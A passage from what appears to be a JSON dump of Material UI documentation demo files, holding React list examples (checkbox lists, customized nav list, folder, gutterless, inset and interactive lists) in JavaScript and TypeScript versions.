    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Checkbox from '@mui/material/Checkbox';\nimport IconButton from '@mui/material/IconButton';\nimport CommentIcon from '@mui/icons-material/Comment';\n\nexport default function CheckboxList() {\n  const [checked, setChecked] = React.useState([0]);\n\n  const handleToggle = (value) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      {[0, 1, 2, 3].map((value) => {\n        const labelId = `checkbox-list-label-${value}`;\n\n        return (\n          <ListItem\n            key={value}\n            secondaryAction={\n              <IconButton edge=\"end\" aria-label=\"comments\">\n                <CommentIcon />\n              </IconButton>\n            }\n            disablePadding\n          >\n            <ListItemButton role={undefined} onClick={handleToggle(value)} dense>\n              <ListItemIcon>\n                <Checkbox\n                  edge=\"start\"\n                  checked={checked.includes(value)}\n                  tabIndex={-1}\n                  disableRipple\n                  slotProps={{ input: { 'aria-labelledby': labelId } }}\n                />\n              </ListItemIcon>\n              <ListItemText id={labelId} primary={`Line item ${value + 1}`} />\n            </ListItemButton>\n          </ListItem>\n        );\n      })}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/CheckboxList.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Checkbox from '@mui/material/Checkbox';\nimport IconButton from '@mui/material/IconButton';\nimport CommentIcon from '@mui/icons-material/Comment';\n\nexport default function CheckboxList() {\n  const [checked, setChecked] = React.useState([0]);\n\n  const handleToggle = (value: number) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      {[0, 1, 2, 3].map((value) => {\n        const labelId = `checkbox-list-label-${value}`;\n\n        return (\n          <ListItem\n            key={value}\n            secondaryAction={\n              <IconButton edge=\"end\" aria-label=\"comments\">\n                <CommentIcon />\n              </IconButton>\n            }\n            disablePadding\n          >\n            <ListItemButton role={undefined} onClick={handleToggle(value)} dense>\n              <ListItemIcon>\n                <Checkbox\n                  edge=\"start\"\n                  checked={checked.includes(value)}\n                  tabIndex={-1}\n                  disableRipple\n                  slotProps={{ input: { 'aria-labelledby': labelId } }}\n                />\n              </ListItemIcon>\n              <ListItemText id={labelId} primary={`Line item ${value + 1}`} />\n            </ListItemButton>\n          </ListItem>\n        );\n      })}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/CheckboxListSecondary.js",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport Checkbox from '@mui/material/Checkbox';\nimport Avatar from '@mui/material/Avatar';\n\nexport default function CheckboxListSecondary() {\n  const [checked, setChecked] = React.useState([1]);\n\n  const handleToggle = (value) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  return (\n    <List dense sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      {[0, 1, 2, 3].map((value) => {\n        const labelId = `checkbox-list-secondary-label-${value}`;\n        return (\n          <ListItem\n            key={value}\n            secondaryAction={\n              <Checkbox\n                edge=\"end\"\n                onChange={handleToggle(value)}\n                checked={checked.includes(value)}\n                slotProps={{ input: { 'aria-labelledby': labelId } }}\n              />\n            }\n            disablePadding\n          >\n            <ListItemButton>\n              <ListItemAvatar>\n                <Avatar\n                  alt={`Avatar n°${value + 1}`}\n                  src={`/static/images/avatar/${value + 1}.jpg`}\n                />\n              </ListItemAvatar>\n              <ListItemText id={labelId} primary={`Line item ${value + 1}`} />\n            </ListItemButton>\n          </ListItem>\n        );\n      })}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/CheckboxListSecondary.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport Checkbox from '@mui/material/Checkbox';\nimport Avatar from '@mui/material/Avatar';\n\nexport default function CheckboxListSecondary() {\n  const [checked, setChecked] = React.useState([1]);\n\n  const handleToggle = (value: number) => () => {\n    const currentIndex = checked.indexOf(value);\n    const newChecked = [...checked];\n\n    if (currentIndex === -1) {\n      newChecked.push(value);\n    } else {\n      newChecked.splice(currentIndex, 1);\n    }\n\n    setChecked(newChecked);\n  };\n\n  return (\n    <List dense sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      {[0, 1, 2, 3].map((value) => {\n        const labelId = `checkbox-list-secondary-label-${value}`;\n        return (\n          <ListItem\n            key={value}\n            secondaryAction={\n              <Checkbox\n                edge=\"end\"\n                onChange={handleToggle(value)}\n                checked={checked.includes(value)}\n                slotProps={{ input: { 'aria-labelledby': labelId } }}\n              />\n            }\n            disablePadding\n          >\n            <ListItemButton>\n              <ListItemAvatar>\n                <Avatar\n                  alt={`Avatar n°${value + 1}`}\n                  src={`/static/images/avatar/${value + 1}.jpg`}\n                />\n              </ListItemAvatar>\n              <ListItemText id={labelId} primary={`Line item ${value + 1}`} />\n            </ListItemButton>\n          </ListItem>\n        );\n      })}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/CustomizedList.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { styled, ThemeProvider, createTheme } from '@mui/material/styles';\nimport Divider from '@mui/material/Divider';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Paper from '@mui/material/Paper';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport ArrowRight from '@mui/icons-material/ArrowRight';\nimport KeyboardArrowDown from '@mui/icons-material/KeyboardArrowDown';\nimport Home from '@mui/icons-material/Home';\nimport Settings from '@mui/icons-material/Settings';\nimport People from '@mui/icons-material/People';\nimport PermMedia from '@mui/icons-material/PermMedia';\nimport Dns from '@mui/icons-material/Dns';\nimport Public from '@mui/icons-material/Public';\n\nconst data = [\n  { icon: <People />, label: 'Authentication' },\n  { icon: <Dns />, label: 'Database' },\n  { icon: <PermMedia />, label: 'Storage' },\n  { icon: <Public />, label: 'Hosting' },\n];\n\nconst FireNav = styled(List)({\n  '& .MuiListItemButton-root': {\n    paddingLeft: 24,\n    paddingRight: 24,\n  },\n  '& .MuiListItemIcon-root': {\n    minWidth: 0,\n    marginRight: 16,\n  },\n  '& .MuiSvgIcon-root': {\n    fontSize: 20,\n  },\n});\n\nexport default function CustomizedList() {\n  const [open, setOpen] = React.useState(true);\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiListItemButton: {\n              defaultProps: {\n                disableTouchRipple: true,\n              },\n            },\n          },\n          palette: {\n            mode: 'dark',\n            primary: { main: 'rgb(102, 157, 246)' },\n            background: { paper: 'rgb(5, 30, 52)' },\n          },\n        })}\n      >\n        <Paper elevation={0} sx={{ maxWidth: 256 }}>\n          <FireNav component=\"nav\" disablePadding>\n            <ListItemButton component=\"a\" href=\"#customized-list\">\n              <ListItemIcon sx={{ fontSize: 20 }}>🔥</ListItemIcon>\n              <ListItemText\n                sx={{ my: 0 }}\n                primary=\"Firebash\"\n                slotProps={{\n                  primary: {\n                    sx: { fontSize: 20, fontWeight: 'medium', letterSpacing: 0 },\n                  },\n                }}\n              />\n            </ListItemButton>\n            <Divider />\n            <ListItem component=\"div\" disablePadding>\n              <ListItemButton sx={{ height: 56 }}>\n                <ListItemIcon>\n                  <Home color=\"primary\" />\n                </ListItemIcon>\n                <ListItemText\n                  primary=\"Project Overview\"\n                  slotProps={{\n                    primary: {\n                      color: 'primary',\n                      sx: { fontWeight: 'medium' },\n                      variant: 'body2',\n                    },\n                  }}\n                />\n              </ListItemButton>\n              <Tooltip title=\"Project Settings\">\n                <IconButton\n                  size=\"large\"\n                  sx={{\n                    '& svg': {\n                      color: 'rgba(255,255,255,0.8)',\n                      transition: '0.2s',\n                      transform: 'translateX(0) rotate(0)',\n                    },\n                    '&:hover, &:focus': {\n                      bgcolor: 'unset',\n                      '& svg:first-of-type': {\n                        transform: 'translateX(-4px) rotate(-20deg)',\n                      },\n                      '& svg:last-of-type': {\n                        right: 0,\n                        opacity: 1,\n                      },\n                    },\n                    '&::after': {\n                      content: '\"\"',\n                      position: 'absolute',\n                      height: '80%',\n                      display: 'block',\n                      left: 0,\n                      width: '1px',\n                      bgcolor: 'divider',\n                    },\n                  }}\n                >\n                  <Settings />\n                  <ArrowRight sx={{ position: 'absolute', right: 4, opacity: 0 }} />\n                </IconButton>\n              </Tooltip>\n            </ListItem>\n            <Divider />\n            <Box\n              sx={[\n                open\n                  ? {\n                      bgcolor: 'rgba(71, 98, 130, 0.2)',\n                    }\n                  : {\n                      bgcolor: null,\n                    },\n                open\n                  ? {\n                      pb: 2,\n                    }\n                  : {\n                      pb: 0,\n                    },\n              ]}\n            >\n              <ListItemButton\n                alignItems=\"flex-start\"\n                onClick={() => setOpen(!open)}\n                sx={[\n                  {\n                    px: 3,\n                    pt: 2.5,\n                  },\n                  open\n                    ? {\n                        pb: 0,\n                      }\n                    : {\n                        pb: 2.5,\n                      },\n                  open\n                    ? {\n                        '&:hover, &:focus': {\n                          '& svg': {\n                            opacity: 1,\n                          },\n                        },\n                      }\n                    : {\n                        '&:hover, &:focus': {\n                          '& svg': {\n                            opacity: 0,\n                          },\n                        },\n                      },\n                ]}\n              >\n                <ListItemText\n                  primary=\"Build\"\n                  secondary=\"Authentication, Firestore Database, Realtime Database, Storage, Hosting, Functions, and Machine Learning\"\n                  slotProps={{\n                    primary: {\n                      sx: {\n                        fontSize: 15,\n                        fontWeight: 'medium',\n                        lineHeight: '20px',\n                        mb: '2px',\n                      },\n                    },\n                    secondary: {\n                      noWrap: true,\n                      sx: {\n                        fontSize: 12,\n                        lineHeight: '16px',\n                        color: open ? 'rgba(0,0,0,0)' : 'rgba(255,255,255,0.5)',\n                      },\n                    },\n                  }}\n                  sx={{ my: 0 }}\n                />\n                <KeyboardArrowDown\n                  sx={[\n                    {\n                      mr: -1,\n                      opacity: 0,\n                      transition: '0.2s',\n                    },\n                    open\n                      ? {\n                          transform: 'rotate(-180deg)',\n                        }\n                      : {\n                          transform: 'rotate(0)',\n                        },\n                  ]}\n                />\n              </ListItemButton>\n              {open &&\n                data.map((item) => (\n                  <ListItemButton\n                    key={item.label}\n                    sx={{ py: 0, minHeight: 32, color: 'rgba(255,255,255,.8)' }}\n                  >\n                    <ListItemIcon sx={{ color: 'inherit' }}>\n                      {item.icon}\n                    </ListItemIcon>\n                    <ListItemText\n                      primary={item.label}\n                      slotProps={{\n                        primary: { sx: { fontSize: 14, fontWeight: 'medium' } },\n                      }}\n                    />\n                  </ListItemButton>\n                ))}\n            </Box>\n          </FireNav>\n        </Paper>\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/CustomizedList.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { styled, ThemeProvider, createTheme } from '@mui/material/styles';\nimport Divider from '@mui/material/Divider';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Paper from '@mui/material/Paper';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport ArrowRight from '@mui/icons-material/ArrowRight';\nimport KeyboardArrowDown from '@mui/icons-material/KeyboardArrowDown';\nimport Home from '@mui/icons-material/Home';\nimport Settings from '@mui/icons-material/Settings';\nimport People from '@mui/icons-material/People';\nimport PermMedia from '@mui/icons-material/PermMedia';\nimport Dns from '@mui/icons-material/Dns';\nimport Public from '@mui/icons-material/Public';\n\nconst data = [\n  { icon: <People />, label: 'Authentication' },\n  { icon: <Dns />, label: 'Database' },\n  { icon: <PermMedia />, label: 'Storage' },\n  { icon: <Public />, label: 'Hosting' },\n];\n\nconst FireNav = styled(List)<{ component?: React.ElementType }>({\n  '& .MuiListItemButton-root': {\n    paddingLeft: 24,\n    paddingRight: 24,\n  },\n  '& .MuiListItemIcon-root': {\n    minWidth: 0,\n    marginRight: 16,\n  },\n  '& .MuiSvgIcon-root': {\n    fontSize: 20,\n  },\n});\n\nexport default function CustomizedList() {\n  const [open, setOpen] = React.useState(true);\n  return (\n    <Box sx={{ display: 'flex' }}>\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiListItemButton: {\n              defaultProps: {\n                disableTouchRipple: true,\n              },\n            },\n          },\n          palette: {\n            mode: 'dark',\n            primary: { main: 'rgb(102, 157, 246)' },\n            background: { paper: 'rgb(5, 30, 52)' },\n          },\n        })}\n      >\n        <Paper elevation={0} sx={{ maxWidth: 256 }}>\n          <FireNav component=\"nav\" disablePadding>\n            <ListItemButton component=\"a\" href=\"#customized-list\">\n              <ListItemIcon sx={{ fontSize: 20 }}>🔥</ListItemIcon>\n              <ListItemText\n                sx={{ my: 0 }}\n                primary=\"Firebash\"\n                slotProps={{\n                  primary: {\n                    sx: { fontSize: 20, fontWeight: 'medium', letterSpacing: 0 },\n                  },\n                }}\n              />\n            </ListItemButton>\n            <Divider />\n            <ListItem component=\"div\" disablePadding>\n              <ListItemButton sx={{ height: 56 }}>\n                <ListItemIcon>\n                  <Home color=\"primary\" />\n                </ListItemIcon>\n                <ListItemText\n                  primary=\"Project Overview\"\n                  slotProps={{\n                    primary: {\n                      color: 'primary',\n                      sx: { fontWeight: 'medium' },\n                      variant: 'body2',\n                    },\n                  }}\n                />\n              </ListItemButton>\n              <Tooltip title=\"Project Settings\">\n                <IconButton\n                  size=\"large\"\n                  sx={{\n                    '& svg': {\n                      color: 'rgba(255,255,255,0.8)',\n                      transition: '0.2s',\n                      transform: 'translateX(0) rotate(0)',\n                    },\n                    '&:hover, &:focus': {\n                      bgcolor: 'unset',\n                      '& svg:first-of-type': {\n                        transform: 'translateX(-4px) rotate(-20deg)',\n                      },\n                      '& svg:last-of-type': {\n                        right: 0,\n                        opacity: 1,\n                      },\n                    },\n                    '&::after': {\n                      content: '\"\"',\n                      position: 'absolute',\n                      height: '80%',\n                      display: 'block',\n                      left: 0,\n                      width: '1px',\n                      bgcolor: 'divider',\n                    },\n                  }}\n                >\n                  <Settings />\n                  <ArrowRight sx={{ position: 'absolute', right: 4, opacity: 0 }} />\n                </IconButton>\n              </Tooltip>\n            </ListItem>\n            <Divider />\n            <Box\n              sx={[\n                open\n                  ? {\n                      bgcolor: 'rgba(71, 98, 130, 0.2)',\n                    }\n                  : {\n                      bgcolor: null,\n                    },\n                open\n                  ? {\n                      pb: 2,\n                    }\n                  : {\n                      pb: 0,\n                    },\n              ]}\n            >\n              <ListItemButton\n                alignItems=\"flex-start\"\n                onClick={() => setOpen(!open)}\n                sx={[\n                  {\n                    px: 3,\n                    pt: 2.5,\n                  },\n                  open\n                    ? {\n                        pb: 0,\n                      }\n                    : {\n                        pb: 2.5,\n                      },\n                  open\n                    ? {\n                        '&:hover, &:focus': {\n                          '& svg': {\n                            opacity: 1,\n                          },\n                        },\n                      }\n                    : {\n                        '&:hover, &:focus': {\n                          '& svg': {\n                            opacity: 0,\n                          },\n                        },\n                      },\n                ]}\n              >\n                <ListItemText\n                  primary=\"Build\"\n                  secondary=\"Authentication, Firestore Database, Realtime Database, Storage, Hosting, Functions, and Machine Learning\"\n                  slotProps={{\n                    primary: {\n                      sx: {\n                        fontSize: 15,\n                        fontWeight: 'medium',\n                        lineHeight: '20px',\n                        mb: '2px',\n                      },\n                    },\n                    secondary: {\n                      noWrap: true,\n                      sx: {\n                        fontSize: 12,\n                        lineHeight: '16px',\n                        color: open ? 'rgba(0,0,0,0)' : 'rgba(255,255,255,0.5)',\n                      },\n                    },\n                  }}\n                  sx={{ my: 0 }}\n                />\n                <KeyboardArrowDown\n                  sx={[\n                    {\n                      mr: -1,\n                      opacity: 0,\n                      transition: '0.2s',\n                    },\n                    open\n                      ? {\n                          transform: 'rotate(-180deg)',\n                        }\n                      : {\n                          transform: 'rotate(0)',\n                        },\n                  ]}\n                />\n              </ListItemButton>\n              {open &&\n                data.map((item) => (\n                  <ListItemButton\n                    key={item.label}\n                    sx={{ py: 0, minHeight: 32, color: 'rgba(255,255,255,.8)' }}\n                  >\n                    <ListItemIcon sx={{ color: 'inherit' }}>\n                      {item.icon}\n                    </ListItemIcon>\n                    <ListItemText\n                      primary={item.label}\n                      slotProps={{\n                        primary: { sx: { fontSize: 14, fontWeight: 'medium' } },\n                      }}\n                    />\n                  </ListItemButton>\n                ))}\n            </Box>\n          </FireNav>\n        </Paper>\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/FolderList.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport Avatar from '@mui/material/Avatar';\nimport ImageIcon from '@mui/icons-material/Image';\nimport WorkIcon from '@mui/icons-material/Work';\nimport BeachAccessIcon from '@mui/icons-material/BeachAccess';\n\nexport default function FolderList() {\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <ListItem>\n        <ListItemAvatar>\n          <Avatar>\n            <ImageIcon />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Photos\" secondary=\"Jan 9, 2014\" />\n      </ListItem>\n      <ListItem>\n        <ListItemAvatar>\n          <Avatar>\n            <WorkIcon />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Work\" secondary=\"Jan 7, 2014\" />\n      </ListItem>\n      <ListItem>\n        <ListItemAvatar>\n          <Avatar>\n            <BeachAccessIcon />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Vacation\" secondary=\"July 20, 2014\" />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/FolderList.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport Avatar from '@mui/material/Avatar';\nimport ImageIcon from '@mui/icons-material/Image';\nimport WorkIcon from '@mui/icons-material/Work';\nimport BeachAccessIcon from '@mui/icons-material/BeachAccess';\n\nexport default function FolderList() {\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      <ListItem>\n        <ListItemAvatar>\n          <Avatar>\n            <ImageIcon />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Photos\" secondary=\"Jan 9, 2014\" />\n      </ListItem>\n      <ListItem>\n        <ListItemAvatar>\n          <Avatar>\n            <WorkIcon />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Work\" secondary=\"Jan 7, 2014\" />\n      </ListItem>\n      <ListItem>\n        <ListItemAvatar>\n          <Avatar>\n            <BeachAccessIcon />\n          </Avatar>\n        </ListItemAvatar>\n        <ListItemText primary=\"Vacation\" secondary=\"July 20, 2014\" />\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/GutterlessList.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport CommentIcon from '@mui/icons-material/Comment';\nimport IconButton from '@mui/material/IconButton';\n\nexport default function GutterlessList() {\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      {[1, 2, 3].map((value) => (\n        <ListItem\n          key={value}\n          disableGutters\n          secondaryAction={\n            <IconButton aria-label=\"comment\">\n              <CommentIcon />\n            </IconButton>\n          }\n        >\n          <ListItemText primary={`Line item ${value}`} />\n        </ListItem>\n      ))}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/GutterlessList.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport CommentIcon from '@mui/icons-material/Comment';\nimport IconButton from '@mui/material/IconButton';\n\nexport default function GutterlessList() {\n  return (\n    <List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n      {[1, 2, 3].map((value) => (\n        <ListItem\n          key={value}\n          disableGutters\n          secondaryAction={\n            <IconButton aria-label=\"comment\">\n              <CommentIcon />\n            </IconButton>\n          }\n        >\n          <ListItemText primary={`Line item ${value}`} />\n        </ListItem>\n      ))}\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/GutterlessList.tsx.preview",
    "content": "<List sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}>\n  {[1, 2, 3].map((value) => (\n    <ListItem\n      key={value}\n      disableGutters\n      secondaryAction={\n        <IconButton aria-label=\"comment\">\n          <CommentIcon />\n        </IconButton>\n      }\n    >\n      <ListItemText primary={`Line item ${value}`} />\n    </ListItem>\n  ))}\n</List>"
  },
  {
    "path": "docs/data/material/components/lists/InsetList.js",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport StarIcon from '@mui/icons-material/Star';\n\nexport default function InsetList() {\n  return (\n    <List\n      sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}\n      aria-label=\"contacts\"\n    >\n      <ListItem disablePadding>\n        <ListItemButton>\n          <ListItemIcon>\n            <StarIcon />\n          </ListItemIcon>\n          <ListItemText primary=\"Chelsea Otakan\" />\n        </ListItemButton>\n      </ListItem>\n      <ListItem disablePadding>\n        <ListItemButton>\n          <ListItemText inset primary=\"Eric Hoffman\" />\n        </ListItemButton>\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/InsetList.tsx",
    "content": "import List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport StarIcon from '@mui/icons-material/Star';\n\nexport default function InsetList() {\n  return (\n    <List\n      sx={{ width: '100%', maxWidth: 360, bgcolor: 'background.paper' }}\n      aria-label=\"contacts\"\n    >\n      <ListItem disablePadding>\n        <ListItemButton>\n          <ListItemIcon>\n            <StarIcon />\n          </ListItemIcon>\n          <ListItemText primary=\"Chelsea Otakan\" />\n        </ListItemButton>\n      </ListItem>\n      <ListItem disablePadding>\n        <ListItemButton>\n          <ListItemText inset primary=\"Eric Hoffman\" />\n        </ListItemButton>\n      </ListItem>\n    </List>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/InteractiveList.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Avatar from '@mui/material/Avatar';\nimport IconButton from '@mui/material/IconButton';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Checkbox from '@mui/material/Checkbox';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport FolderIcon from '@mui/icons-material/Folder';\nimport DeleteIcon from '@mui/icons-material/Delete';\n\nfunction generate(element) {\n  return [0, 1, 2].map((value) =>\n    React.cloneElement(element, {\n      key: value,\n    }),\n  );\n}\n\nconst Demo = styled('div')(({ theme }) => ({\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n}));\n\nexport default function InteractiveList() {\n  const [dense, setDense] = React.useState(false);\n  const [secondary, setSecondary] = React.useState(false);\n\n  return (\n    <Box sx={{ flexGrow: 1, maxWidth: 752 }}>\n      <FormGroup row>\n        <FormControlLabel\n          control={\n            <Checkbox\n              checked={dense}\n              onChange={(event) => setDense(event.target.checked)}\n            />\n          }\n          label=\"Enable dense\"\n        />\n        <FormControlLabel\n          control={\n            <Checkbox\n              checked={secondary}\n              onChange={(event) => setSecondary(event.target.checked)}\n            />\n          }\n          label=\"Enable secondary text\"\n        />\n      </FormGroup>\n      <Grid container spacing={2}>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Text only\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Icon with text\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem>\n                  <ListItemIcon>\n                    <FolderIcon />\n                  </ListItemIcon>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n      </Grid>\n      <Grid container spacing={2}>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Avatar with text\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem>\n                  <ListItemAvatar>\n                    <Avatar>\n                      <FolderIcon />\n                    </Avatar>\n                  </ListItemAvatar>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n        <Grid\n          size={{\n            xs: 12,\n            md: 6,\n          }}\n        >\n          <Typography sx={{ mt: 4, mb: 2 }} variant=\"h6\" component=\"div\">\n            Avatar with text and icon\n          </Typography>\n          <Demo>\n            <List dense={dense}>\n              {generate(\n                <ListItem\n                  secondaryAction={\n                    <IconButton edge=\"end\" aria-label=\"delete\">\n                      <DeleteIcon />\n                    </IconButton>\n                  }\n                >\n                  <ListItemAvatar>\n                    <Avatar>\n                      <FolderIcon />\n                    </Avatar>\n                  </ListItemAvatar>\n                  <ListItemText\n                    primary=\"Single-line item\"\n                    secondary={secondary ? 'Secondary text' : null}\n                  />\n                </ListItem>,\n              )}\n            </List>\n          </Demo>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/lists/InteractiveList.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport Avatar from '@mui/material/Avatar';\nimport IconButton from '@mui/material/IconButton';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Checkbox from '@mui/material/Checkbox';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport FolderIcon from '@mui/icons-material/Folder';\nimport DeleteIcon from '@mui/icons-material/Delete';\n\nfunction generate(element: React.ReactElement<unknown>) {\n  return [0, 1, 2].map((value) =>\n    React.cloneElement(element, {\n      key: value,\n    }),\n  );\n}\n\nconst Demo = styled('div')(({ theme }) => ({\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n}));\n\nexport default function InteractiveList() {\n  const [dense, setDense] = React.useState(false);\n  const [secondary, setSecondary] = React.useState(false);\n\n  return (\n    <Box sx={{ flexGrow: 1, maxWidth: 752 }}>\n      <FormGroup row>\n        <FormControlLabel\n          control={\n            <Checkbox\n              checked={dense}\n              onChange={(event) => setDense(event.target.checked)}\n            />\n          }\n          label=\"Enable dense\"\n        />\n        <FormControlLabel\n          control={\n            <Checkbox\n              checked={secondary}\n              onChange={(event) => setSecondary(event.target.checked)}\n            />\n          }\n          label=\"Enable secondary 